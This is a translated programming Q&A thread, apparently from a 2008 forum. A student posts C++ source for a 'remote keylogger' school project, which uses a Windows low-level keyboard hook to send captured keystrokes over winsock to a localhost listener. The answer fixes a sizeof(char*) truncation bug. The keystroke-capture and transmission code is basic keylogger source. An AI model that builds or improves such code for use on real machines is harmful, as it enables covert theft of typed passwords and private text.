1

我正在编写一个需要通过网络发送数据的应用程序。我已完成申请,但发送数据时出现问题。每次发送一条数据,4个字符后就被截断,剩下的就是垃圾。该应用程序是我为一个学校项目编写的远程键盘记录器,它要求您演示钩子和winsock 的用法。我们可以在论坛上寻求帮助。任何帮助,将不胜感激!

这里的代码:

服务器:

 // rkl.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "rkl.h"
#include <windows.h>
#include <stdio.h>

SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{



WSAData wsdata; 
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 

if(nret != 0)
{
    MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup(); 
return -1;
}


kSock=socket(AF_INET, SOCK_STREAM, 0);


if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}


sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;

if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{ 
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup(); 
return -1;
}


HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);

char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);

MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);

closesocket(kSock);
return 0;



}




LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);


    if (wParam == WM_KEYDOWN) {
        char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;

tmp = atoi(buf);

if(tmp != 0)
{
        switch (tmp) {


case VK_BACK:      buf =  "<BACKSPACE>";       break;
case VK_TAB:      buf =  "<TAB>";       break;
case VK_CLEAR:      buf =  "<CLEAR>";       break;
case VK_RETURN:      buf =  "<ENTER>";       break;
case VK_SHIFT:      buf =  "<SHIFT>";       break;
case VK_CONTROL:      buf =  "<CTRL>";       break;
case VK_MENU:      buf =  "<ALT>";       break;
case VK_PAUSE:      buf =  "<PAUSE>";       break;
case VK_CAPITAL:      buf =  "<CAPS LOCK>";       break;
case VK_ESCAPE:      buf =  "<ESC>";       break;
case VK_SPACE:      buf =  "<SPACEBAR>";       break;
case VK_PRIOR:      buf =  "<PAGE UP>";       break;
case VK_NEXT:      buf =  "<PAGE DOWN>";       break;
case VK_END:      buf =  "<END>";       break;
case VK_HOME:      buf =  "<HOME>";       break;
case VK_LEFT:      buf =  "<LEFT ARROW>";       break;
case VK_UP:      buf =  "<UP ARROW>";       break;
case VK_RIGHT:      buf =  "<RIGHT ARROW>";       break;
case VK_DOWN:      buf =  "<DOWN ARROW>";       break;
case VK_SELECT:      buf =  "<SELECT>";       break;
case VK_PRINT:      buf =  "<PRINT>";       break;
case VK_EXECUTE:      buf =  "<EXECUTE>";       break;
case VK_SNAPSHOT:      buf =  "<PRINT SCREEN>";       break;
case VK_INSERT:      buf =  "<INSERT>";       break;
case VK_DELETE:      buf =  "<DEL>";       break;
case VK_HELP:      buf =  "<HELP>";       break;
case VK_LWIN:      buf =  "<Left Windows key>";       break;
case VK_RWIN :      buf =  "<Right Windows key>";       break;
case VK_APPS:      buf =  "<Applications key>";       break;
case VK_SLEEP:      buf =  "<Computer Sleep key>";       break;
case VK_NUMPAD0:      buf =  "0";       break;
case VK_NUMPAD1:      buf =  "1";       break;
case VK_NUMPAD2:      buf =  "2";       break;
case VK_NUMPAD3:      buf =  "3";       break;
case VK_NUMPAD4:      buf =  "4";       break;
case VK_NUMPAD5:      buf =  "5";       break;
case VK_NUMPAD6:      buf =  "6";       break;
case VK_NUMPAD7:      buf =  "7";       break;
case VK_NUMPAD8:      buf =  "8";       break;
case VK_NUMPAD9:      buf =  "9";       break;
case VK_MULTIPLY:      buf =  "*";       break;
case VK_ADD:      buf =  "+";       break;
case VK_SEPARATOR:      buf =  "<Separator key>";       break;
case VK_SUBTRACT:      buf =  "-";       break;
case VK_DECIMAL:      buf =  ".";       break;
case VK_DIVIDE:      buf =  "/";       break;
case VK_F1:      buf =  "<F1>";       break;
case VK_F2:      buf =  "<F2>";       break;
case VK_F3:      buf =  "<F3>";       break;
case VK_F4:      buf =  "<F4>";       break;
case VK_F5:      buf =  "<F5>";       break;
case VK_F6:      buf =  "<F6>";       break;
case VK_F7:      buf =  "<F7>";       break;
case VK_F8:      buf =  "<F8>";       break;
case VK_F9:      buf =  "<F9>";       break;
case VK_F10:      buf =  "<F10>";       break;
case VK_F11:      buf =  "<F11>";       break;
case VK_F12:      buf =  "<F12>";       break;
case VK_NUMLOCK:      buf =  "<NUM LOCK>";       break;
case VK_SCROLL:      buf =  "<SCROLL LOCK>";       break;
case VK_LSHIFT:      buf =  "<Left SHIFT>";       break;
case VK_RSHIFT:      buf =  "<Right SHIFT>";       break;
case VK_LCONTROL:      buf =  "<Left CONTROL>";       break;
case VK_RCONTROL:      buf =  "<Right CONTROL>";       break;
case VK_LMENU:      buf =  "<Left MENU>";       break;
case VK_RMENU:      buf =  "<Right MENU>";       break;
case VK_BROWSER_BACK:      buf =  "<Browser Back key>";       break;
case VK_BROWSER_FORWARD:      buf =  "<Browser Forward key>";       break;
case VK_BROWSER_REFRESH:      buf =  "<Browser Refresh key>";       break;
case VK_BROWSER_STOP:      buf =  "<Browser Stop key>";       break;
case VK_BROWSER_SEARCH:      buf =  "<Browser Search key >";       break;
case VK_BROWSER_FAVORITES:      buf =  "<Browser Favorites key>";       break;
case VK_BROWSER_HOME:      buf =  "<Browser Start and Home key>";       break;
case VK_VOLUME_MUTE:      buf =  "<Volume Mute key>";       break;
case VK_VOLUME_DOWN:      buf =  "<Volume Down key>";       break;
case VK_VOLUME_UP:      buf =  "<Volume Up key>";       break;
case VK_MEDIA_NEXT_TRACK:      buf =  "<Next Track key>";       break;
case VK_MEDIA_PREV_TRACK:      buf =  "<Previous Track key>";       break;
case VK_MEDIA_STOP:      buf =  "<Stop Media key>";       break;
case VK_MEDIA_PLAY_PAUSE:      buf =  "<Play/Pause Media key>";       break;
case VK_LAUNCH_MAIL:      buf =  "<Start Mail key>";       break;
case VK_LAUNCH_MEDIA_SELECT:      buf =  "<Select Media key>";       break;
case VK_LAUNCH_APP1:      buf =  "<Start Application 1 key>";       break;
case VK_LAUNCH_APP2:      buf =  "<Start Application 2 key>";       break;
case VK_OEM_1:      buf =  "<;:' key >";       break;
case VK_OEM_PLUS:      buf =  "+";       break;
case VK_OEM_COMMA:      buf =  ",";       break;
case VK_OEM_MINUS:      buf =  "-";       break;
case VK_OEM_PERIOD:      buf =  ".";       break;
case VK_OEM_2:      buf =  "</?' key >";       break;
case VK_OEM_3:      buf =  "<`~' key >";       break;
case VK_OEM_4:      buf =  "<[{' key>";       break;
case VK_OEM_5:      buf =  "<\|' key>";       break;
case VK_OEM_6:      buf =  "<]}' key>";       break;
case VK_OEM_7:      buf =  "<single-quote/double-quote' key>";       break;
case VK_OEM_CLEAR:      buf =  "<Clear>";       break;




            default:
            buf[0] = char(tmp);
            buf[1] = char(0);
            buf[2] = char(0);
            buf[3] = char(0);
            buf[4] = char(0);
            buf[5] = char(0);
            buf[6] = char(0);
            buf[7] = char(0);
            buf[8] = char(0);


        }


send(kSock,buf,sizeof(buf),0);
}

    return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
}

客户:

// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h> 
#include <iostream>

int main()
{

WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 
if(nret != 0){ 
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); 
WSACleanup(); 
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_family=AF_INET;
if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){
std::cout<<"Failed to bind\n";
WSACleanup(); 
return -1;
}
std::cout<<"Bind successful!\n";
while (listen(kSock, SOMAXCONN) == SOCKET_ERROR); 
SOCKET client;
int len = sizeof(sin);
client=accept(kSock, (sockaddr*)&sin, &len);
std::cout<<"Connection established!\n";
int i;



for(;;)
{
char buf[22];
recv(client, buf, sizeof(buf), 0); 
std::cout << buf;
}


closesocket(client); 
closesocket(kSock);
WSACleanup();
return 0;
}
4

1 回答 1

7

在您的服务器端,您的发送线路是:

send(kSock,buf,sizeof(buf),0);

buf 是一个字符*。在您的情况下 char* 的大小为 4 个字节,因此当您真的要发送缓冲区的大小为 strlen(buf)+1 时,您告诉 send 发送 4 个字节的数据(加一是包括字符串的终止零)。

于 2008-12-23T23:45:11.143 回答